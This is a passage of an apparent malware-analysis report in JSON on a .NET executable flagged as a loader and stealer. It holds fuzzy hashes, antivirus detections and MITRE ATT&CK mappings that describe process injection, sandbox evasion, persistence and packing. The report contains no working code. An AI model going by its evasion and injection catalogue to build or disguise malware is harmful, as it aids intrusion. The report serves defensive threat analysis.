TxaJE9o","196608:xaJE9oi","196608:aJE9oi+","196608:JE9oi+v","196608:E9oi+vE","196608:9oi+vEI","196608:oi+vEIE","196608:i+vEIEF","196608:+vEIEFe","196608:vEIEFe1","196608:EIEFe1o","196608:IEFe1od","196608:EFe1odE","196608:Fe1odEh","196608:e1odEhj","196608:1odEhjD","196608:odEhjDS","196608:dEhjDSn","196608:EhjDSnI","196608:hjDSnIw","196608:jDSnIwX","196608:DSnIwXN","196608:SnIwXN5","196608:nIwXN5z","196608:IwXN5zz","196608:wXN5zzC","196608:XN5zzCK","196608:N5zzCKv","196608:5zzCKvZ","196608:zzCKvZo","196608:zCKvZoH","196608:CKvZoHX","196608:KvZoHXQ","196608:vZoHXQ1","196608:ZoHXQ1G","196608:oHXQ1GH","196608:HXQ1GHw","196608:XQ1GHwZ","196608:Q1GHwZG","196608:1GHwZGO","196608:GHwZGOV","196608:HwZGOVC","196608:wZGOVCD","196608:ZGOVCDz","196608:GOVCDzK","196608:OVCDzKt","196608:VCDzKt7","196608:CDzKt7N","196608:DzKt7NE","196608:zKt7NE2","196608:Kt7NE2C","393216:uPbBm8j","393216:PbBm8jT","393216:bBm8jTx","393216:Bm8jTxa","393216:m8jTxaJ","393216:8jTxaJE","393216:jTxaJE9","393216:TxaJE9o","393216:xaJE9oi","393216:aJE9oi+","393216:JE9oi+v","393216:E9oi+vE","393216:9oi+vEI","393216:oi+vEIE","393216:i+vEIEF","393216:+vEIEFe","393216:vEIEFe1","393216:EIEFe1o","393216:IEFe1od","393216:EFe1odE","393216:Fe1odEh","393216:e1odEhj","393216:1odEhjD","393216:odEhjDS","393216:dEhjDSn","393216:EhjDSnI","393216:hjDSnIw","393216:jDSnIwX","393216:DSnIwXN","393216:SnIwXN5","393216:nIwXN5z","393216:IwXN5zz","393216:wXN5zzC","393216:XN5zzCK","393216:N5zzCKv","393216:5zzCKvZ","393216:zzCKvZo","393216:zCKvZoH","393216:CKvZoHX","393216:KvZoHXQ","393216:vZoHXQ1","393216:ZoHXQ1G","393216:oHXQ1GH","393216:HXQ1GHw","393216:XQ1GHwZ","393216:Q1GHwZG","393216:1GHwZGO","393216:GHwZGOV","393216:HwZGOVC","393216:wZGOVCD","393216:ZGOVCDz","393216:GOVCDzK","393216:OVCDzKt","393216:VCDzKt7","393216:CDzKt7N","393216:DzKt7NE","393216:zKt7NE2","393216:Kt7NE2C","196608:uP9m4F+","196608:P9m4F+E","196608:9m4F+E9","196608:m4F+E9/","196608:4F+E9/+","196608:F+E9/+v","196608:+E9/+vE","196608:E9/+vE9","196608:9/+vE9F","196608:/+vE9Fe","196608:+vE9Fe1","196608:vE9Fe1U","196608:E9Fe1Ue","196608:9Fe1Ue3","196608:Fe1Ue3w","196608:e1Ue3w3","196608:1Ue3w3C","196608:Ue3w3C0","196608:e3w3C0Z","196608:3w3C0ZC","196608:w3C0ZCA","196608:3C0ZCA1","196608:C0ZCA1G","196608:0ZCA1GQ","196608:ZCA1GQT","196608:CA1GQTz"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"288cccc47bbc1871b439df19ff4df68f076.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":11434496,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1705233932000,"last_seen":1748177586000,"last_multi_scan":1748177586000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["mixloader","commodity","proxy","socks5systemz","loader","broom","amadeyloader","criminal","informationstealer","stealc","downloader","evasive"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":99},"sandbox_signatures":{"informative_count":282,"suspicious_count":29,"malicious_count":25,"total":336},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1365025","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Jalapeno.293","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Jalapeno.293 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Agent.UZA trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"VirTool/MSIL.Obfuscator.su","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Ransomware ( 005a8b921 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXOO-YN!EF7704C3CD87","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.ShortLoader.khbjys","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/ILAgent-I","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Kryptik.FFY.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.UXJ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Injector.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_41.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win32.3838579","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Jalapeno.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to create/read/set mailslotinfo (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Imports GetCommandLine API"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Executes WMI queries known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Executes WMI queries"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"},{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"},{"type":"informative","value":"Contains reference to Hijacked CLSID(s)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Imports mailslot-related APIs"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Imports Mailslot related APIs"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"suspicious","value":"Calls an API typically used to convert data from binary to string"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"PE file contains zero-size sections"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"},{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Imports SHEmptyRecycleBin API"},{"type":"informative","value":"Contains ability to empty the recycle bin (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"},{"type":"informative","value":"The input sample possibly contains the RDTSCP instruction"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"The input sample contains the RDTSCP instruction"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"},{"type":"suspicious","value":"Tries to sleep for a long time (more than two minutes)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"},{"type":"informative","value":"YARA signature match – Embedded PE executable"},{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"},{"type":"malicious","value":"PE file contains executable resources"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet 